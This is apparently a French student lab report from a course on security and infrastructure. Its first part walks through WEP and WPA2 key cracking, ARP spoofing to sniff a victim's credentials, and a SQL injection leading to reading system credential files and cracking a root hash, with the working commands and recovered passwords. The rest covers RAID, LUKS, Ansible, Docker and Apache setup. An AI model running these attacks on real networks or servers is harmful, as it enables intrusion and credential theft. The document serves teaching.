Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
Pour réaliser cette attaque, nous installons le paquet dsniff sur notre eeePC grâce à la commande :&lt;br /&gt;
 apt-get install dsniff&lt;br /&gt;
&lt;br /&gt;
La première étape consiste à transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1 : echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate avec la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
&lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre spoofing (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets entre le routeur et la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info. Afin de connaitre les services sur cette machine nous utilisons l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Dirb_honey.png|thumb|center||alt=texte alternatif|400px|Dirb honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root. Nous avons ensuite créé un dictionnaire en partant du principe que le mot de passe était de la forme &amp;quot;glopglop&amp;quot; et nous avons craqué le hash avec John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier : /etc/xen/amanite.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/amanite/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/RingotSanchez2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/amanite-raid3,xvda7,w'&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
Puis nous redémarrons notre VM.&lt;br /&gt;
 xl destroy amanite&lt;br /&gt;
 xl create /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
Après avoir relancer notre VM, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
Nous formatons notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
Et nous rajoutons la ligne suivante dans /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /raid5 ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Nous pouvons avoir des détails notre volume grâce à la commande : &lt;br /&gt;
 mdadm --detail /dev/md0&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous montons et peuplons notre volume RAID.&lt;br /&gt;
 mount /dev/md0 /mnt&lt;br /&gt;
 touch coucou.txt&lt;br /&gt;
&lt;br /&gt;
A partir de là, nous avons une configuration persistante du raid. Le RAID 5 sera identifié au boot et monté automatiquement. Nous pouvons maintenant tester notre volume RAID, nous simulons une panne sur un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Nous déclarons un de nos disques comme étant en défaillance :&lt;br /&gt;
&lt;br /&gt;
 mdadm --set-faulty /dev/md0 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Puis nous l'enlevons de notre volume RAID :&lt;br /&gt;
 mdadm --remove /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
Nous constatons que notre fichier coucou.txt est toujours présent, malgré la panne de l'un de nos disques.&lt;br /&gt;
&lt;br /&gt;
Puis nous rajoutons notre disque dans notre volume RAID (ce dernier n'étant pas réellement défaillant) :&lt;br /&gt;
 mdadm --manage /dev/md0 --add /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
Notre but est de chiffrer les données contenus sur une clé usb en utilisant l'utilitaire cryptsetup.&lt;br /&gt;
&lt;br /&gt;
Après avoir trouvé notre clé usb avec lsblk, on formatte celle-ci. Puis on utilise l'utilitaire cryptsetup pour la chiffrer.&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Ces deux commandes nous permettent d'ouvrir notre clé usb avec cryptsetup, ainsi que d'ajouter un lien crypt_sdb dans /dev/mapper. Pour pouvoir utiliser la clé il faut reformater la partition luks.&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Pour pouvoir ajouter un fichier sur celle-ci nous devons la monter.&lt;br /&gt;
 &lt;br /&gt;
 mount /dev/mapper/crypt_sdb /mnt&lt;br /&gt;
&lt;br /&gt;
Puis nous y ajoutons un fichier.&lt;br /&gt;
&lt;br /&gt;
 touch /mnt/test.txt&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite unmount la clé et nous avons essayé de l'ouvrir sur un autre pc.&lt;br /&gt;
&lt;br /&gt;
 umount /mnt&lt;br /&gt;
 cryptsetup luksClose crypt_sdb&lt;br /&gt;
&lt;br /&gt;
Après avoir monté la clé sur un autre pc nous constatons que nous ne pouvons voir les fichiers présent. Pour les voir nous devons utiliser le mot de passe rentré lors de cryptsetup luksFormat.&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué des recherches nous nous sommes rendu compte que l'asa 5506-x ne faisait pas switch et ne nous permettait donc pas de pouvoir l'utiliser contre l'ARP spoofing.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;br /&gt;
&lt;br /&gt;
== TP ASR ==&lt;br /&gt;
&lt;br /&gt;
=== Architecture de la ferme ===&lt;br /&gt;
&lt;br /&gt;
Pour notre groupe, l'ensemble des machines virtuelles Xen étaient déjà installées.  &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps nous avons ajouté une interface réseau virtuelle à notre machine amanite sur capbreton (fichier /etc/xen/amanite.cfg) afin de la relier au VLAN50 tout en choisissant une adresse MAC incrémenté de 1 par rapport à notre autre interface. &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ip=100.64.0.19 ,mac=00:16:3E:C4:6A:BB', 'bridge=bridgeStudents, ip=192.168.42.19, mac=00:16:3E:C4:6A:BC' ] &lt;br /&gt;
&lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration après modification dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface                                                                                                                              &lt;br /&gt;
 auto eth0                                                                                                                                                    &lt;br /&gt;
 iface eth0 inet static                                                                                                                                        &lt;br /&gt;
 address 193.48.57.184                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.255                                                                                                                                      &lt;br /&gt;
 up ip address add dev eth0 100.64.0.24/24                                                                                                                    &lt;br /&gt;
 up ip route add default via 100.64.0.2 src 193.48.57.184                                                                                                     &lt;br /&gt;
 down ip address del dev eth0 100.64.0.24/24                                                                                                                  &lt;br /&gt;
 down ip route del default via 100.64.0.2 src 193.48.57.184                                                                                                                                                                                                                                                               &lt;br /&gt;
 &lt;br /&gt;
 # The secondary network interface                                                                                                                            &lt;br /&gt;
 auto eth1                                                                                                                                                    &lt;br /&gt;
 iface eth1 inet static                                                                                                                                        &lt;br /&gt;
 address 192.168.42.19                                                                                                                                        &lt;br /&gt;
 netmask 255.255.255.0 &lt;br /&gt;
&lt;br /&gt;
Nous avons mis en place notre propre mascarade avec les commandes suivantes :&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.45.5/24&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.45.5/24&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.5/24 --to-source 193.48.57.184&lt;br /&gt;
Ce qui permet à nos paquets en provenance de 192.168.45.5 (machine sur chassiron) de sortir sur internet en passant par notre interface eth0 de notre machine virtuelle sur capbreton (et bien entendu de faire le trajet inverse). Finalement nous avons supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d afin de pouvoir procéder a des &amp;quot;apt install&amp;quot; et ne plus être considérer comme des hackeur russes malveillants.&lt;br /&gt;
&lt;br /&gt;
Nous avons également installer le paquet iptables-persistent afin que notre configuration puisse être mise en place à chaque redémarrage de notre VM tout en modifiant le fichier &amp;quot;/etc/sysctl.conf&amp;quot; pour activer l'ip forwarding pour les paquets IPV4.&lt;br /&gt;
&lt;br /&gt;
A la fin de cette partie nous sommes capables de ping les machines entre elles.&lt;br /&gt;
 &lt;br /&gt;
Sur notre machine virtuelle côté chassiron voici la configuration dans notre fichier /etc/network/interfaces :&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0                                                                                                               &lt;br /&gt;
 iface eth0 inet static                                                                                                    &lt;br /&gt;
 address 192.168.42.5/24                                                                                                 &lt;br /&gt;
 gateway 192.168.42.19 &lt;br /&gt;
&lt;br /&gt;
Nous avons également modifié notre fichier /etc/resolv.conf :&lt;br /&gt;
 domain plil.info                                                                                                        &lt;br /&gt;
 search plil.info plil.fr                                                                                                &lt;br /&gt;
 nameserver 192.168.42.19&lt;br /&gt;
&lt;br /&gt;
Et supprimé le 01proxy qui se situe dans /etc/apt/apt.conf.d.&lt;br /&gt;
&lt;br /&gt;
Nous modifions les fichiers /etc/resolv.conf pour supprimer le dns de l'ecole et nous supprimons le fichier /etc/apt/apt.conf.d/01proxy pour ne pas passer par le proxy de l'école. A la fin de cette partie la machine sur chassiron est capable de ping google.&lt;br /&gt;
&lt;br /&gt;
'''Clés SSH'''&lt;br /&gt;
&lt;br /&gt;
Génération d’une paire de clef asymétrique :&lt;br /&gt;
 ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Ces clés sont stocké coté capbreton dans le dossier /.ssh&lt;br /&gt;
&lt;br /&gt;
Par la suite nous installons la clef publique sur nos cibles (les machines sur chassiron) :&lt;br /&gt;
 cat .ssh/id_rsa.pub | ssh 192.168.42.5 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
Cette manipulation est cruciale pour ansible, sans cette dernière ansible ne peut fonctionner correctement&lt;br /&gt;
&lt;br /&gt;
'''Installation d'Ansible'''&lt;br /&gt;
&lt;br /&gt;
Installation via la commande :&lt;br /&gt;
 apt install ansible&lt;br /&gt;
&lt;br /&gt;
L'étape suivante consiste à créer un inventaire hosts dans /etc/ansible :&lt;br /&gt;
 [webserver]                                                                                                             &lt;br /&gt;
 192.168.42.5                                                                                                                                                                                                                                    &lt;br /&gt;
 &lt;br /&gt;
 [webservers]                                                                                                            &lt;br /&gt;
 192.168.42.5                                                                                                            &lt;br /&gt;
 192.168.42.2                                                                                                            &lt;br /&gt;
 192.168.42.4                                                                                                            &lt;br /&gt;
 192.168.42.7                                                                                                            &lt;br /&gt;
 192.168.42.9                                                                                                            &lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
Ce fichier répertorie nos différentes cibles en séparent webserver qui est une cible ne contenant que notre machine virtuelle secondaire et webservers qui contient l'ensemble des machines virtuelles du groupe 2. Nous pouvons effectuer une première vérification grâce à la commande ansible : &lt;br /&gt;
 ansible webserver -a &amp;quot;lsb_release -d&amp;quot;&lt;br /&gt;
&lt;br /&gt;
L'étape suivant consiste à tester ansible.&lt;br /&gt;
Pour ce faire nous créons un role basic qui contient la tache main.yml, voici son contenu :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed                                                                                           &lt;br /&gt;
 apt:                                                                                                                            &lt;br /&gt;
        update_cache: yes                                                                                                       &lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;                                                                                         &lt;br /&gt;
 vars:                                                                                                                           &lt;br /&gt;
        packages:                                                                                                                       &lt;br /&gt;
                - ntp                                                                                                                   &lt;br /&gt;
                - python3                                                                                                               &lt;br /&gt;
                - python3-pip                                                                                                                                                                                                                 &lt;br /&gt;
 &lt;br /&gt;
 - name: docker                                                                                                            &lt;br /&gt;
 pip:                                                                                                                            &lt;br /&gt;
         name: docker                                                                                                                                                                                                                          &lt;br /&gt;
 &lt;br /&gt;
 - name: maj ntp                                                                                                           &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                    &lt;br /&gt;
         dest: &amp;quot;/etc/ntp.conf&amp;quot;                                                                                                   &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
                                                                                                                                                                                                                           &lt;br /&gt;
 - name: maj motd                                                                                                          &lt;br /&gt;
 copy:                                                                                                                           &lt;br /&gt;
         src: &amp;quot;/etc/motd&amp;quot;                                                                                                        &lt;br /&gt;
         dest: &amp;quot;/etc/motd&amp;quot;                                                                                                       &lt;br /&gt;
         owner: root                                                                                                             &lt;br /&gt;
         group: root                                                                                                             &lt;br /&gt;
         mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce role s'assure qui les packages ntp, python3, python3-pip et docker son bien installé et met à jour ntp et motd en copiant leurs configurations qui est présente sur notre machine virtuelle de capbreton. La modification est bien prise en compte est peut être vérifier en se connectant en ssh sur notre machine de chassiron via la commande ssh root@192.168.42.5&lt;br /&gt;
&lt;br /&gt;
=== Installation de docker ===&lt;br /&gt;
&lt;br /&gt;
Avant de commencer l'installation de docker il nous faut ajouter les packages python3 et python3-pip à notre machine secondaire, nous avons utilisé ansible pour faire ceci en créant le rôle basic :&lt;br /&gt;
&lt;br /&gt;
 - name: package to be installed&lt;br /&gt;
   apt:&lt;br /&gt;
        update_cache: yes&lt;br /&gt;
        name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
        packages:&lt;br /&gt;
                - python3&lt;br /&gt;
                - python3-pip&lt;br /&gt;
&lt;br /&gt;
Nous avons également récupéré le rôle geerlingguy.docker qui est un rôle fait pour déployer docker grâce à ansible (récupérer sur ansible galaxy).&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé notre playbook pour déployer nos commandes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webserver&lt;br /&gt;
   roles:&lt;br /&gt;
          - basic&lt;br /&gt;
          - geerlingguy.docker&lt;br /&gt;
   vars:&lt;br /&gt;
         docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
         docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
=== Création de notre conteneur ===&lt;br /&gt;
&lt;br /&gt;
Pour lancer notre containeur web nous avons commencé par créer le Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY . /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [&amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé l'image du Dockerfile :&lt;br /&gt;
 docker build -t web .&lt;br /&gt;
&lt;br /&gt;
Puis nous avons lancé notre container&lt;br /&gt;
 docker run -d -p &amp;quot;8085:80&amp;quot; --name web web&lt;br /&gt;
&lt;br /&gt;
Plusieurs commandes nous permettent de vérifier le bon fonctionnement : &lt;br /&gt;
 docker images (Affichage des différentes images docker installées)&lt;br /&gt;
 docker ps -a (Affichage des différents containeur en cours d'exécution)&lt;br /&gt;
&lt;br /&gt;
Nous avons pu vérifier le bon fonctionnement de celui-ci grâce a la commande suivante :&lt;br /&gt;
 curl 193.48.57.184:8085&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite créé un rôle ansible pour créer un dépôt local docker sur notre machine secondaire (après avoir préalablement installer la collection via la commande : ansible-galaxy collection install community.general) :&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Après cela nous avons voulu push notre image &amp;quot;web&amp;quot; vers notre dépôt mais une erreur est survenue, celle-ci vient du fait qu'il fallait rajouter le fichier daemon.json dans le dossier &amp;quot;/etc/docker/&amp;quot; afin de ne pas utiliser une connexion sécurisée.&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
       &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.5:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier modifié nous avons pu utiliser les commandes :&lt;br /&gt;
 docker tag web 192.168.42.5:5000/webserver&lt;br /&gt;
 docker push 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
Puis coté chassiron : &lt;br /&gt;
 docker pull 192.168.42.5:5000/webserver&lt;br /&gt;
&lt;br /&gt;
=== Configuration de nos serveurs internes ===&lt;br /&gt;
&lt;br /&gt;
Pour voir déployer nos containeurs sur tous les serveurs disponibles sur chassirons nous avons d'abord créé notre role &amp;quot;new_container&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
 - name: Create a container&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: amanite_container&lt;br /&gt;
          image: 192.168.42.5:5000/webserver_amanite&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;8085:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Ce role permet (après avoir push sur le registry de notre seconde machine virtuelle), d'installer l'image webserver_amanite sur l'ensemble des machine qui sont dans l'hote webservers.&lt;br /&gt;
Sur ces machines virtuelles, il faut également rajouter au fichier daemon.json (dans le dossier /etc/docker) l'ensemble des repository non sécurisés (afin d'y prendre les images).&lt;br /&gt;
&lt;br /&gt;
Puis nous avons déployé notre container grâce à notre playbook :&lt;br /&gt;
&lt;br /&gt;
 - hosts: webservers&lt;br /&gt;
   roles:&lt;br /&gt;
          - new_container&lt;br /&gt;
&lt;br /&gt;
=== Equilibreur de charge ===&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite ajouté le serveur web virtuel reverse.amanite.site, puis nous avons activé les modules apaches suivants (pour l'ensemble de nos étapes) :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Pour notre première partie nous avons modifier notre fichier amanite.site.db (qui se situe dans /etc/bind/zones) et nous y avons rajouter la ligne :&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
(Nous n'oublions pas d'incrémenter le numéro de version, de signer la zones pour DNSSEC ainsi que redémarrer le service bind9).&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons rajouter un site dans /etc/apache2/site-available que nous nommons reverse.conf :&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
         ServerName reverse.amanite.site    &lt;br /&gt;
         ServerAdmin lolopierro                                                                                                                                                                                               &lt;br /&gt;
         ProxyPass / http://192.168.42.5:8085                                                                                      &lt;br /&gt;
         ProxyPassReverse / http://192.168.42.5:8085                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Que nous ajoutons à nos sites enable via la commande : a2ensite reverse.conf, puis nous redémarrons le service apache2.&lt;br /&gt;
Après cette étape notre site est accessible via l'URL reverse.amanite.conf (qui est pour le moment accessible via notre seule machine virtuelle secondaire sur chassiron).&lt;br /&gt;
&lt;br /&gt;
Dans un second temps nous avons modifié notre fichier de configuration reverse.conf afin d'y rajouter de l'équilibrage de charge :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName reverse.amanite.site&lt;br /&gt;
         ServerAdmin lolopierro&lt;br /&gt;
         &amp;lt;Proxy &amp;quot;balancer://mycluster&amp;quot;&amp;gt;&lt;br /&gt;
                 BalancerMember &amp;quot;http://192.168.42.5:8085&amp;quot; route=1&lt;br /&gt;
